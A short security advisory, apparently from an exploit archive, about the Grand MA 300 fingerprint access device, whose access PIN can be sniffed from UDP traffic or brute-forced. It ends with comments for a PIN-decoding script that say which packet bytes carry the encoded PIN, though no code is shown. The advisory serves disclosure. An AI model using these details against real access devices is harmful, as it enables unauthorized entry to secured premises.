Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure

source: https://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable.

# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
